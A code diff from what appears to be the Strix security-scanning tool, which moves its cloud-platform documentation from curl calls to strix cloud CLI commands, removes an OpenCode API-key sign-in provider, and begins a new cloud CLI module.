+SOURCE_SHA256="<reviewed source.archive_sha256>"
+# Repeat every source-selection flag unchanged; a source-only scan infers code_review.
+strix cloud scans start --source . --exclude 'private/' \
+  --approve-sha256 "$SOURCE_SHA256" --wait
 ```
 
+The CLI rebuilds the archive and refuses the upload if its SHA-256 no longer matches. `--yes`
+has deliberately narrower semantics: it approves only the snapshot built during that one
+invocation. Use it for a deliberate human or one-shot approval, not as the second half of a
+digest-bound agent/CI review. Without a TTY, a source upload requires either matching
+`--approve-sha256` approval or `--yes`; an interactive terminal can instead show the summary,
+the selected filenames when `--show-files` is set, and a `[y/N]` confirmation for its current
+snapshot.
+
+The default selection is privacy-conscious: in a Git worktree it includes tracked files plus untracked files that are not ignored; it honors `.gitignore`, excludes every hidden path component, always excludes `.git`, symlinks, dependencies/build output, secret-like filenames, and nested archives. Add project exclusions to `.strixignore` (one exclude glob per line) or repeat `--exclude GLOB`; a trailing slash such as `private/` excludes that directory subtree.
+
+The client refuses more than 20,000 files, a file over 25 MiB, more than 250 MiB expanded, or a ZIP over 50 MiB. The service then stream-inflates the ZIP and independently rejects malformed or unsupported entries, unsafe paths, too many entries, oversized entries, excessive expanded data, and oversized compressed input, so an untrusted client cannot bypass the ZIP-bomb controls by forging metadata.
+
+Only use `--include-hidden`, `--include-sensitive`, or `--include-archives` after the dry-run manifest shows that the scan needs them. Hidden and sensitive files are separate opt-ins: for example, including `.env` requires both `--include-hidden` and `--include-sensitive`.
+
+The CLI removes its private temporary local archive after every invocation. Once a remote
+upload is staged, a definitive scan rejection causes the CLI to delete it. A network failure,
+`5xx` response, malformed success response, or interruption after scan launch begins is
+ambiguous—the platform may have accepted the scan—so the CLI retains the upload and returns
+its `upload_id` with `launch_outcome_unknown: true`. If an automatic deletion attempt cannot
+be confirmed, it instead returns the retained `upload_id` with `cleanup_unknown: true`.
+Before retrying, run `strix cloud scans list` to avoid a duplicate scan or charge. If no scan
+is linked to the retained upload, remove it with `strix cloud uploads delete UPLOAD_ID`;
+linked uploads cannot be deleted.
+
+With no explicit type, source alone infers `code_review`. Any domain target wins and infers `live_test`, so source plus a deployed domain is the normal white-box live-test workflow. Pass `--engagement-type` when you need to override the inference.
+
+## 3. Wait for completion
+
+Pass `--wait` to `scans start` to poll until the scan reaches a final state, or poll yourself with `strix cloud scans get <scan-id>` (`scans:read`). Bound automation with `--wait-timeout SECONDS`; timeout exits cleanly without cancelling the remote scan. Status flow: `pending → running → completed` (or `failed` / `cancelled`). Scans take minutes to hours — poll on an interval, do not block indefinitely.
+
 ## 4. Read findings
 
 The scan-detail response includes `executive_summary`, `methodology`, `recommendations`, a `findings` severity roll-up, and a `vulnerabilities[]` array. Each vulnerability carries `title, severity, status, cvss, cwe, endpoint, method, impact, technical_analysis, poc_description, poc_script_code`, and (for code findings) `code_file`/`code_diff`/`code_before`/`code_after`.
 
 ```bash
-curl -sS "$BASE/scans/$scan_id" "${auth[@]}" \
+strix cloud scans get <scan-id> --json \
   | jq '["critical","high","medium","low","info"] as $order
        | .vulnerabilities
        | sort_by(.severity as $s | $order | index($s))
        | .[] | {title, severity, endpoint, cwe}'
 ```
 
-Cloud severities are `critical | high | medium | low` and statuses are `open | in_progress | fixed | ignored`. Sort by an explicit severity order rather than `sort_by(.severity)`, which sorts alphabetically (critical, high, low, medium).
+Cloud severities are `critical | high | medium | low` and statuses are `open | in_progress | snoozed | fixed | ignored | not_affected`. Sort by an explicit severity order rather than `sort_by(.severity)`, which sorts alphabetically (critical, high, low, medium).
 
-Org-wide triage across scans: `GET /vulnerabilities` (`vulnerabilities:read`; filter by severity/status). Update triage state with the vulnerabilities `:write` endpoints. To remediate, hand off to the **fix-security-vulnerabilities-with-strix** skill.
+Org-wide triage across scans: `strix cloud vulns list --severity critical` (`vulnerabilities:read`, and it also filters by `--status`, `--scan-id`, and more). Update triage state with `strix cloud vulns update <id> --status fixed`. To remediate, hand off to the **fix-security-vulnerabilities-with-strix** skill.
 
 ## 5. Export & report
 
 ```bash
 # SARIF 2.1.0 for GitHub code scanning / ASPM ingestion
-curl -sS "$BASE/scans/$scan_id/sarif" "${auth[@]}" -o findings.sarif
+strix cloud scans sarif <scan-id> --output findings.sarif
 
-# Report. The format and file type are query params (`Accept` is ignored):
-#   format=technical (default) | retest | attestation | executive_summary
-#   type=pdf (default) | docx
-# Any report download requires the Enterprise plan; formats beyond `technical`,
+# Report. Formats: technical (default) | retest | attestation | executive_summary
+# Types: pdf (default) | docx
+# Any report download requires the Enterprise plan. Formats beyond `technical`,
 # DOCX, and white-label branding are Enterprise-only too. Scan must be completed.
-curl -sS "$BASE/scans/$scan_id/report?format=technical&type=pdf" "${auth[@]}" -o strix-report.pdf
+strix cloud scans report <scan-id> --format technical --type pdf --output strix-report.pdf
+```
+
+Downloads refuse to replace a file unless `--force` is explicit. Enterprise audit logs can be streamed as JSON or exported without trying to JSON-decode the body:
+
+```bash
+strix cloud audit list --format csv --all --output audit.csv
+strix cloud audit list --format ndjson --all --output audit.ndjson
 ```
 
 ## 6. PR reviews
 
-Trigger an automated security review of a pull request (`pr_reviews:write`); results appear as PR comments and in the dashboard:
+Trigger an automated security review of a pull request (`pr_reviews:write`). Read the repository's `provider` and `installation_id` with `strix cloud repos list`; both identify the installed source-control integration. The results appear as PR comments and in the dashboard:
 
 ```bash
-curl -sS "$BASE/pr-reviews/start" "${auth[@]}" -H "Content-Type: application/json" \
-  -d '{"repository_full_name":"org/app","pr_number":123}'
+strix cloud pr-reviews start \
+  --provider github \
+  --installation-id <installation-id> \
+  --repository-full-name org/app \
+  --pr-number 123
 ```
 
-List/inspect via `GET /pr-reviews` and `GET /pr-reviews/{id}`. Repo-level PR-review behavior is configured with the repository-settings endpoint.
+List/inspect with `strix cloud pr-reviews list` and `strix cloud pr-reviews get <id>`. Repo-level PR-review behavior is configured with `strix cloud pr-reviews settings`.
 
 ## 7. Continuous testing (schedules & webhooks)
 
-- **Schedules** (`schedules:write`, Pro plan): create recurring scans and trigger them on demand — the managed equivalent of a cron-driven CLI loop.
-- **Webhooks** (`webhooks:write`): subscribe to pentest/vulnerability lifecycle events such as `scan.completed` and `vulnerability.created` to push results into Slack, ticketing, or your own pipeline instead of polling.
+- **Schedules** (`schedules:write`, Pro plan): `strix cloud schedules create` makes recurring scans, and `strix cloud schedules trigger <id>` runs one on demand — the managed equivalent of a cron-driven CLI loop.
+- **Webhooks** (`webhooks:write`): `strix cloud webhooks create` subscribes to pentest/vulnerability lifecycle events such as `scan.completed` and `vulnerability.created` to push results into Slack, ticketing, or your own pipeline instead of polling.
 
 See the schedules and webhooks sections at [docs.app.strix.ai](https://docs.app.strix.ai) for payloads.
 
+Network connectors are Enterprise-only. `strix cloud connectors create` may return a one-time enrollment command containing credentials; do not paste it into logs, and request it with `--include-command` only when the user is ready to install it. Browser checkout, source-control installation, DNS verification, connector installation, chat sharing, and publishing SARIF to an external provider are user handoffs or explicit external mutations—prepare the command/link, then obtain the appropriate approval before completing them.
+
 ## Safety
 
 Only scan assets the user's organization owns or is authorized to test. External domain scans require verification (DNS/file/meta-tag) enforced by the platform — do not try to bypass it.

strix/config/codex.py

@@ -72,32 +72,8 @@ def _write_store(data: dict[str, Any]) -> None:
     write_secret_text(AUTH_PATH, json.dumps(data, indent=2))
 
 
-def read_provider_record(provider: str) -> dict[str, Any] | None:
-    """Raw record for *provider* from the shared subscription-auth store."""
-    record = _read_store().get(provider)
-    return record if isinstance(record, dict) else None
-
-
-def save_provider_record(provider: str, record: dict[str, Any]) -> None:
-    data = _read_store()
-    data[provider] = record
-    _write_store(data)
-
-
-def remove_provider_record(provider: str) -> None:
-    data = _read_store()
-    if provider not in data:
-        return
-    del data[provider]
-    if data:
-        _write_store(data)
-        return
-    with contextlib.suppress(OSError):
-        AUTH_PATH.unlink()
-
-
 def read_record() -> dict[str, Any] | None:
-    record = read_provider_record(PROVIDER)
+    record = _read_store().get(PROVIDER)
     if not isinstance(record, dict) or record.get("type") != "oauth":
         return None
     if not (record.get("access") and record.get("refresh") and record.get("account_id")):
@@ -110,11 +86,21 @@ def is_authenticated() -> bool:
 
 
 def save_record(record: dict[str, Any]) -> None:
-    save_provider_record(PROVIDER, record)
+    data = _read_store()
+    data[PROVIDER] = record
+    _write_store(data)
 
 
 def logout() -> None:
-    remove_provider_record(PROVIDER)
+    data = _read_store()
+    if PROVIDER not in data:
+        return
+    del data[PROVIDER]
+    if data:
+        _write_store(data)
+        return
+    with contextlib.suppress(OSError):
+        AUTH_PATH.unlink()
 
 
 @contextlib.contextmanager

strix/config/models.py

@@ -20,7 +20,6 @@ from agents.model_settings import ModelSettings
 from agents.models.fake_id import FAKE_RESPONSES_ID
 from agents.models.interface import Model, ModelProvider
 from agents.models.multi_provider import MultiProvider
-from agents.models.openai_chatcompletions import OpenAIChatCompletionsModel
 from agents.models.openai_responses import OpenAIResponsesModel
 from agents.retry import (
     ModelRetryBackoffSettings,
@@ -37,7 +36,7 @@ from openai.types.responses import (
 from openai.types.responses.response_usage import ResponseUsage
 from openai.types.shared import Reasoning
 
-from strix.config import codex, opencode
+from strix.config import codex
 from strix.config.loader import load_settings
 from strix.config.tool_call_ids import TurnCallIdRewriter, dedupe_input
 from strix.config.tool_call_limits import TurnToolCallLimiter
@@ -80,12 +79,7 @@ def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
 
 
 class _CodexResponsesModel(OpenAIResponsesModel):
-    """Responses model for stateless subscription gateways (always streamed).
-
-    Used for the ChatGPT subscription backend and for Responses-served models on
-    the OpenCode gateway: neither stores responses server-side, so reasoning is
-    carried inline via ``reasoning.encrypted_content``.
-    """
+    """Responses model for the ChatGPT subscription backend (always streamed, stateless)."""
 
     def __init__(
         self,
@@ -526,7 +520,6 @@ class StrixProvider(MultiProvider):
     def get_model(self, model_name: str | None) -> Model:
         llm = load_settings().llm
         slug = codex.subscription_model(model_name)
-        oc = opencode.subscription_model(model_name)
         idle_timeout = float(llm.stream_idle_timeout)
         if slug:
             # The ChatGPT subscription backend is always streamed; it has no
@@ -537,35 +530,6 @@ class StrixProvider(MultiProvider):
                 codex.get_subscription_client(),
                 reasoning_effort=llm.reasoning_effort,
             )
-        elif oc and oc.protocol == opencode.PROTOCOL_RESPONSES:
-            model = _CodexResponsesModel(
-                oc.slug,
-                opencode.get_subscription_client(oc.base_url),
-                reasoning_effort=llm.reasoning_effort,
-            )
-        elif oc and oc.protocol == opencode.PROTOCOL_MESSAGES:
-            # Claude models are served on Anthropic's ``/messages``, which the
-            # OpenAI SDK cannot speak: it has no Messages method and sends the
-            # key as a bearer token rather than ``x-api-key``. LiteLLM's
-            # Anthropic route handles both, so the gateway becomes an Anthropic
-            # base URL with the subscription key.
-            from agents.extensions.models.litellm_model import LitellmModel
-
-            model = LitellmModel(
-                model=f"anthropic/{oc.slug}",
-                base_url=oc.messages_url,
-                api_key=opencode.get_api_key(),
-            )
-            if llm.disable_streaming:
-                model = _NonStreamingModel(model)
-                idle_timeout = 0.0
-        elif oc:
-            model = OpenAIChatCompletionsModel(
-                oc.slug, opencode.get_subscription_client(oc.base_url)
-            )
-            if llm.disable_streaming:
-                model = _NonStreamingModel(model)
-                idle_timeout = 0.0
         else:
             model = super().get_model(model_name)
             if llm.disable_streaming:
@@ -625,24 +589,15 @@ RECOMMENDED_MODEL_NAMES = (
 _RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
 
 FRONTIER_MODEL_FAMILIES = (
-    (("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai", "opencode"), ("gpt-5",)),
+    (("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai"), ("gpt-5",)),
     (
-        (
-            "anthropic",
-            "azure_ai",
-            "bedrock",
-            "claude",
-            "databricks",
-            "opencode",
-            "snowflake",
-            "vertex_ai",
-        ),
+        ("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
         ("claude-fable-5", "claude-opus-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
     ),
-    (("google", "gemini", "opencode", "vertex_ai"), ("gemini-3",)),
-    (("deepseek", "opencode"), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
-    (("alibaba", "dashscope", "opencode", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
-    (("kimi", "moonshot", "moonshotai", "opencode"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
+    (("google", "gemini", "vertex_ai"), ("gemini-3",)),
+    (("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
+    (("alibaba", "dashscope", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
+    (("moonshot", "moonshotai", "kimi"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
 )
 
 
@@ -650,14 +605,7 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
     """Apply Strix config to SDK-native defaults."""
     llm = settings.llm
     set_tracing_disabled(True)
-    oc = opencode.subscription_model(llm.model)
-    if codex.subscription_model(llm.model) or oc:
-        # A subscription run carries its own client and credentials, so none of
-        # the api_key/api_base defaults below apply. The Anthropic route is the
-        # exception: it goes through LiteLLM, which still needs the
-        # compatibility flags and the cost callback.
-        if oc is not None and oc.protocol == opencode.PROTOCOL_MESSAGES:
-            _configure_litellm_compatibility()
+    if codex.subscription_model(llm.model):
         return
     _configure_litellm_compatibility()
     _configure_openrouter_attribution(llm.model)
@@ -842,11 +790,6 @@ def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bo
     """Return whether the resolved SDK route can only receive JSON function tools."""
     if codex.subscription_model(model_name):
         return False
-    oc = opencode.subscription_model(model_name)
-    if oc:
-        # Chat Completions takes JSON function tools; so does the LiteLLM
-        # Anthropic route, which translates them to Anthropic tool blocks.
-        return oc.protocol != opencode.PROTOCOL_RESPONSES
     model = model_name.strip().lower()
     if "/" in model and not model.startswith("openai/"):
         return True

strix/config/opencode.py

@@ -1,230 +0,0 @@
-"""OpenCode subscription auth: API-key sign-in and the clients that route
-inference through the OpenCode gateway.
-
-Covers both OpenCode offerings, Zen (pay-as-you-go credits) and Go (the
-monthly subscription), which share one account and API key but live behind
-different gateway base URLs. Unlike the ChatGPT subscription there is no
-OAuth: the user copies a plain API key from https://opencode.ai/auth, and
-using the gateway from other agents is officially supported.
-
-The gateway speaks three protocols and serves each model family on exactly
-one of them (see https://opencode.ai/docs/zen/), answering a request sent to
-the wrong one with an unhandled 500 rather than a 404. ``_protocol()`` holds
-the mapping; ``SubscriptionModel.protocol`` carries the result. Claude runs on
-Anthropic's ``/messages``, which the OpenAI SDK cannot speak, so that route
-goes through LiteLLM instead of the clients built here.
-"""
-
-from __future__ import annotations
-
-from dataclasses import dataclass
-from typing import TYPE_CHECKING, Any
-
-import requests
-
-from strix.config import codex
-
-
-if TYPE_CHECKING:
-    from openai import AsyncOpenAI
-
-
-PROVIDER = "opencode"
-
-ZEN_BASE_URL = "https://opencode.ai/zen/v1"
-GO_BASE_URL = "https://opencode.ai/zen/go/v1"
-
-# ``opencode/<model>`` runs on Zen credits; ``opencode-go/<model>`` on the Go
-# subscription (matching OpenCode's own ``opencode-go/`` model ids).
-ZEN_PREFIX = "opencode/"
-GO_PREFIX = "opencode-go/"
-
-AUTH_CONSOLE_URL = "https://opencode.ai/auth"
-
-_KEY_CHECK_TIMEOUT = 30
-
-
-class OpencodeAuthError(Exception):
-    def __init__(self, code: str, message: str | None = None) -> None:
-        self.code = code
-        super().__init__(message or code)
-
-
-PROTOCOL_CHAT = "chat"
-PROTOCOL_RESPONSES = "responses"
-PROTOCOL_MESSAGES = "messages"
-
-PLAN_ZEN = "zen"
-PLAN_GO = "go"
-
-_PLAN_LABELS = {PLAN_ZEN: "OpenCode Zen", PLAN_GO: "OpenCode Go"}
-
-
-@dataclass(frozen=True)
-class SubscriptionModel:
-    slug: str
-    base_url: str
-    protocol: str
-    plan: str
-
-    @property
-    def uses_responses(self) -> bool:
-        return self.protocol == PROTOCOL_RESPONSES
-
-    @property
-    def messages_url(self) -> str:
-        """Anthropic-protocol endpoint for this gateway, e.g. ``.../zen/v1/messages``."""
-        return f"{self.base_url}/messages"
-
-    @property
-    def label(self) -> str:
-        return _PLAN_LABELS[self.plan]
-
-    @property
-    def metered(self) -> bool:
-        """Whether a run spends money per request.
-
-        Zen bills prepaid credits per request, so its runs cost real money and
-        must not be reported as free. Go is a flat monthly fee, where a run's
-        marginal cost genuinely is zero.
-        """
-        return self.plan == PLAN_ZEN
-
-
-def _protocol(slug: str, base_url: str) -> str:
-    """Which wire protocol the gateway serves *slug* on.
-
-    The gateway routes by model family and answers a request sent to the wrong
-    protocol with an unhandled 500 rather than a 404, so the mapping has to be
-    right. Probed against both gateways per family:
-
-    * Claude on Anthropic's ``/messages``
-    * GPT, Grok (Zen) and Muse on OpenAI's ``/responses``
-    * DeepSeek, MiniMax, Kimi, GLM and Qwen on Chat Completions
-
-    Grok is absent from the Go catalog, so its Zen-only Responses route costs
-    nothing there. Kimi and Qwen also answer on ``/messages``, but Chat
-    Completions works for them on both plans and stays the single mapping.
-    """
-    lowered = slug.lower()
-    if lowered.startswith("claude-"):
-        return PROTOCOL_MESSAGES
-    if lowered.startswith(("gpt-", "muse-")):
-        return PROTOCOL_RESPONSES
-    if lowered.startswith("grok") and base_url == ZEN_BASE_URL:
-        return PROTOCOL_RESPONSES
-    return PROTOCOL_CHAT
-
-
-def subscription_model(model_name: str | None) -> SubscriptionModel | None:
-    """The gateway model behind an ``opencode/`` or ``opencode-go/`` STRIX_LLM."""
-    name = (model_name or "").strip()
-    lowered = name.lower()
-    for prefix, base_url, plan in (
-        (GO_PREFIX, GO_BASE_URL, PLAN_GO),
-        (ZEN_PREFIX, ZEN_BASE_URL, PLAN_ZEN),
-    ):
-        if lowered.startswith(prefix):
-            slug = name[len(prefix) :]
-            if not slug:
-                return None
-            return SubscriptionModel(slug, base_url, _protocol(slug, base_url), plan)
-    return None
-
-
-def read_record() -> dict[str, Any] | None:
-    record = codex.read_provider_record(PROVIDER)
-    if not isinstance(record, dict) or record.get("type") != "api_key":
-        return None
-    key = record.get("key")
-    if not isinstance(key, str) or not key:
-        return None
-    return record
-
-
-def is_authenticated() -> bool:
-    return read_record() is not None
-
-
-def save_api_key(key: str) -> None:
-    codex.save_provider_record(PROVIDER, {"type": "api_key", "provider": PROVIDER, "key": key})
-
-
-def logout() -> None:
-    codex.remove_provider_record(PROVIDER)
-
-
-def get_api_key() -> str:
-    record = read_record()
-    if record is None:
-        raise OpencodeAuthError(
-            "not_authenticated", "not signed in; run: strix auth login opencode"
-        )
-    return str(record["key"])
-
-
-def validate_api_key(key: str) -> None:
-    """Check the key against the gateway's models endpoint; raise if rejected."""
-    try:
-        response = requests.get(
-            f"{ZEN_BASE_URL}/models",
-            headers={"Authorization": f"Bearer {key}"},
-            timeout=_KEY_CHECK_TIMEOUT,
-        )
-    except requests.RequestException as exc:
-        raise OpencodeAuthError("unavailable", str(exc)) from exc
-    if response.status_code in (401, 403):
-        raise OpencodeAuthError(
-            "invalid_key", f"OpenCode rejected the API key (HTTP {response.status_code})"
-        )
-    if response.status_code >= 400:
-        raise OpencodeAuthError("http_error", f"HTTP {response.status_code}: {response.text[:300]}")
-
-
-def build_openai_client(base_url: str) -> AsyncOpenAI:
-    import httpx
-    from openai import AsyncOpenAI
-
-    return AsyncOpenAI(
-        api_key=get_api_key(),
-        base_url=base_url,
-        http_client=httpx.AsyncClient(timeout=httpx.Timeout(600.0, connect=30.0)),
-    )
-
-
-_subscription_clients: dict[str, AsyncOpenAI] = {}
-
-
-def get_subscription_client(base_url: str) -> AsyncOpenAI:
-    client = _subscription_clients.get(base_url)
-    if client is None:
-        client = build_openai_client(base_url)
-        _subscription_clients[base_url] = client
-    return client
-
-
-def auth_mode(model_name: str | None) -> str:
-    """Return "subscription" when STRIX_LLM runs on any subscription
-    (OpenCode or ChatGPT), else "api_key"."""
-    if subscription_model(model_name) or codex.subscription_model(model_name):
-        return "subscription"
-    return "api_key"
-
-
-def subscription_plan(model_name: str | None) -> str | None:
-    """Which OpenCode plan STRIX_LLM runs on: "zen", "go", or None.
-
-    Recorded alongside ``subscription_provider`` rather than folded into it, so
-    consumers that compare the provider against "opencode" keep working.
-    """
-    oc = subscription_model(model_name)
-    return oc.plan if oc else None
-
-
-def subscription_provider(model_name: str | None) -> str | None:
-    """The subscription behind STRIX_LLM: "opencode", "chatgpt", or None."""
-    if subscription_model(model_name):
-        return PROVIDER
-    if codex.subscription_model(model_name):
-        return "chatgpt"
-    return None

strix/core/agents.py

@@ -291,12 +291,6 @@ class AgentCoordinator:
             self.pending_counts[target_agent_id] = self.pending_counts.get(target_agent_id, 0) + 1
             if from_user:
                 runtime.user_wake_required = False
-                self.errors.pop(target_agent_id, None)
-                self.wait_kinds.pop(target_agent_id, None)
-                self.recovery_counts.pop(target_agent_id, None)
-                self.idle_resume_counts.pop(target_agent_id, None)
-                self._parent_notified.discard(target_agent_id)
-                self.statuses[target_agent_id] = "waiting"
             runtime.wake.set()
             stream = runtime.stream
             interrupt_on_message = runtime.interrupt_on_message

strix/core/inputs.py

@@ -8,7 +8,6 @@ from typing import TYPE_CHECKING, Any
 from agents.model_settings import ModelSettings
 from openai.types.shared import Reasoning
 
-from strix.config import opencode
 from strix.config.models import (
     DEFAULT_MODEL_RETRY,
     OPENROUTER_ATTRIBUTION_HEADERS,
@@ -326,13 +325,6 @@ def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
     """
     if not is_claude_model(model_name) or not routes_through_litellm(model_name):
         return None
-    # OpenCode's Chat Completions and Responses routes use the raw OpenAI SDK,
-    # which rejects this LiteLLM-only argument. Its Anthropic route does go
-    # through LiteLLM, so the injection points apply there as they would for a
-    # direct Anthropic key.
-    oc = opencode.subscription_model(model_name)
-    if oc is not None and oc.protocol != opencode.PROTOCOL_MESSAGES:
-        return None
     if is_bedrock_route(model_name) and not bedrock_route_supports_prompt_caching(model_name):
         return None
 

strix/interface/auth_cli.py

@@ -1,9 +1,8 @@
-"""`strix auth` — subscription sign-in (login / status / logout).
+"""`strix auth` — ChatGPT subscription sign-in (login / status / logout).
 
-Signing in only stores credentials (``~/.strix/subscription-auth.json``); model
+Signing in only stores OAuth tokens (``~/.strix/subscription-auth.json``); model
 selection stays with ``STRIX_LLM``. A ``chatgpt/<model>`` STRIX_LLM runs on the
-ChatGPT subscription; ``opencode/<model>`` (Zen credits) or
-``opencode-go/<model>`` (Go subscription) run on OpenCode.
+subscription.
 """
 
 from __future__ import annotations
@@ -22,7 +21,7 @@ from rich.console import Console
 from rich.panel import Panel
 from rich.text import Text
 
-from strix.config import codex, load_settings, opencode
+from strix.config import codex, load_settings
 
 
 if TYPE_CHECKING:
@@ -33,20 +32,13 @@ logger = logging.getLogger(__name__)
 
 _CALLBACK_TIMEOUT_S = 300
 
-# CLI-facing name for the default login provider. Internally this is the Codex
-# OAuth flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what
-# the command and messaging say. ``codex`` is accepted as an alias.
+# CLI-facing name for the login provider. Internally this is the Codex OAuth
+# flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what the
+# command and messaging say. ``codex`` is accepted as an alias.
 LOGIN_PROVIDER = "chatgpt"
 _ACCEPTED_PROVIDERS = frozenset({LOGIN_PROVIDER, codex.PROVIDER})
-_OPENCODE_PROVIDERS = frozenset({opencode.PROVIDER, "opencode-go", "zen"})
 
-_USAGE = (
-    "Usage:\n"
-    "  strix auth login chatgpt [--manual]\n"
-    "  strix auth login opencode\n"
-    "  strix auth status\n"
-    "  strix auth logout [chatgpt|opencode]"
-)
+_USAGE = "Usage:\n  strix auth login chatgpt [--manual]\n  strix auth status\n  strix auth logout"
 
 
 def run_auth(argv: list[str]) -> int:
@@ -63,7 +55,7 @@ def run_auth(argv: list[str]) -> int:
     handlers: dict[str, Callable[[], int]] = {
         "login": lambda: _login(console, rest),
         "status": lambda: _status(console),
-        "logout": lambda: _logout(console, rest),
+        "logout": lambda: _logout(console),
     }
     handler = handlers.get(subcommand)
     if handler is not None:
@@ -92,14 +84,10 @@ def _login(console: Console, argv: list[str]) -> int:
     except SystemExit as exc:  # argparse already printed the message
         return int(exc.code or 2)
 
-    if args.provider.lower() in _OPENCODE_PROVIDERS:
-        return _login_opencode(console)
-
     if args.provider.lower() not in _ACCEPTED_PROVIDERS:
         console.print(
             f"[red]Unsupported provider:[/] {args.provider}. "
-            f"Supported: '{LOGIN_PROVIDER}' (ChatGPT subscription) and "
-            f"'{opencode.PROVIDER}' (OpenCode Zen/Go)."
+            f"Only '{LOGIN_PROVIDER}' (ChatGPT subscription) is supported."
         )
         return 2
 
@@ -127,63 +115,6 @@ def _login(console: Console, argv: list[str]) -> int:
     return 0
 
 
-def _login_opencode(console: Console) -> int:
-    console.print()
-    console.print("[bold]Signing in with OpenCode[/] [dim](provider: opencode)[/]")
-    console.print(
-        "[dim]This uses your OpenCode Zen credits or Go subscription for inference.\n"
-        f"Get your API key at {opencode.AUTH_CONSOLE_URL}[/]"
-    )
-    console.print()
-    try:
-        key = console.input("Paste your OpenCode API key: ", password=True).strip()
-    except (EOFError, KeyboardInterrupt):
-        console.print("\n[yellow]Sign-in cancelled.[/]")
-        return 130
-    if not key:
-        console.print("[red]No API key provided.[/]")
-        return 2
-    try:
-        opencode.validate_api_key(key)
-    except opencode.OpencodeAuthError as exc:
-        console.print(f"[red]SIGN-IN FAILED:[/] {exc}")
-        return 1
-    opencode.save_api_key(key)
-    _print_opencode_success(console)
-    return 0
-
-
-def _print_opencode_success(console: Console) -> None:
-    text = Text()
-    text.append("Signed in with your OpenCode account", style="bold #22c55e")
-    text.append("\n\n", style="white")
-    text.append("Set ", style="white")
-    text.append("STRIX_LLM", style="bold white")
-    text.append(" to an ", style="white")
-    text.append("opencode/", style="bold cyan")
-    text.append(" model (e.g. ", style="white")
-    text.append("opencode/claude-sonnet-5", style="bold cyan")
-    text.append(") to run on Zen credits, or ", style="white")
-    text.append("opencode-go/", style="bold cyan")
-    text.append(" (e.g. ", style="white")
-    text.append("opencode-go/kimi-k3", style="bold cyan")
-    text.append(") to run on the Go subscription.", style="white")
-    text.append("\n\n", style="white")
-    text.append("Run a scan as usual, e.g. ", style="white")
-    text.append("strix --target https://example.com", style="bold cyan")
-    console.print()
-    console.print(
-        Panel(
-            text,
-            title="[bold white]STRIX",
-            title_align="left",
-            border_style="#22c55e",
-            padding=(1, 2),
-        )
-    )
-    console.print()
-
-
 def _run_oauth_flow(
     console: Console,
     authorize_url: str,
@@ -313,41 +244,24 @@ def _first(query: dict[str, list[str]], key: str) -> str | None:
 
 def _status(console: Console) -> int:
     record = codex.read_record()
-    opencode_signed_in = opencode.is_authenticated()
-    if record is None and not opencode_signed_in:
-        console.print(
-            "[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] or "
-            "[cyan]strix auth login opencode[/] to sign in."
-        )
+    if record is None:
+        console.print("[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] to sign in.")
         return 1
     settings = load_settings()
-    if record is not None:
-        console.print("[green]Signed in[/] with a ChatGPT subscription.")
-        console.print(f"  Account: [bold]{record.get('account_id')}[/]")
-    if opencode_signed_in:
-        console.print("[green]Signed in[/] with an OpenCode account.")
-    if codex.subscription_model(settings.llm.model) or opencode.subscription_model(
-        settings.llm.model
-    ):
+    console.print("[green]Signed in[/] with a ChatGPT subscription.")
+    console.print(f"  Account: [bold]{record.get('account_id')}[/]")
+    if codex.subscription_model(settings.llm.model):
         console.print(f"  Runs use the subscription (STRIX_LLM=[bold]{settings.llm.model}[/]).")
     else:
         console.print(
-            "  [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] or "
-            "[cyan]opencode/claude-sonnet-5[/] to run on a subscription."
+            "  [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] "
+            "to run on the subscription."
         )
     return 0
 
 
-def _logout(console: Console, argv: list[str] | None = None) -> int:
-    target = (argv[0].lower() if argv else "") or "all"
-    if target in _ACCEPTED_PROVIDERS or target == "all":
-        codex.logout()
-    if target in _OPENCODE_PROVIDERS or target == "all":
-        opencode.logout()
-    if target != "all" and target not in _ACCEPTED_PROVIDERS | _OPENCODE_PROVIDERS:
-        console.print(f"[red]Unknown provider:[/] {target}\n")
-        console.print(_USAGE)
-        return 2
+def _logout(console: Console) -> int:
+    codex.logout()
     console.print("[green]Signed out.[/] Stored subscription credentials removed.")
     return 0
 

strix/interface/cloud/__init__.py

@@ -0,0 +1,169 @@
+"""`strix cloud` — the managed Strix platform (app.strix.ai) from the terminal.
+
+Every command maps to one operation of the public REST API. Output is JSON
+when stdout is not a terminal, so agents can parse every result. Exit codes:
+0 success, 1 error, 2 invalid usage, 4 authentication required, 5 payment
+required.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+
+from rich.console import Console
+from rich.markup import escape
+
+import strix.interface.cloud.http as http  # noqa: PLR0402
+from strix.interface.cloud.render import json_mode
+from strix.interface.cloud.runner import resolve, run
+from strix.interface.cloud.session import run_session
+from strix.interface.cloud.spec import DEFAULT_VERBS, GROUP_HELP, SPEC
+from strix.interface.cloud.workspaces import run_workspace_use
+from strix.interface.platform_cli import run_login
+from strix.interface.terminal_text import sanitize_terminal_text
+
+
+_USAGE_HEADER = """[bold]Usage:[/] strix cloud <command> [arguments]
+
+[bold]Session commands:[/]
+  login       Sign in to the managed platform and store an API token
+  logout      Remove the stored API token
+  whoami      Show the stored account, workspace, and token state
+  session     Inspect or narrow the remote CLI session
+  credits     Show the credit balance of the workspace
+
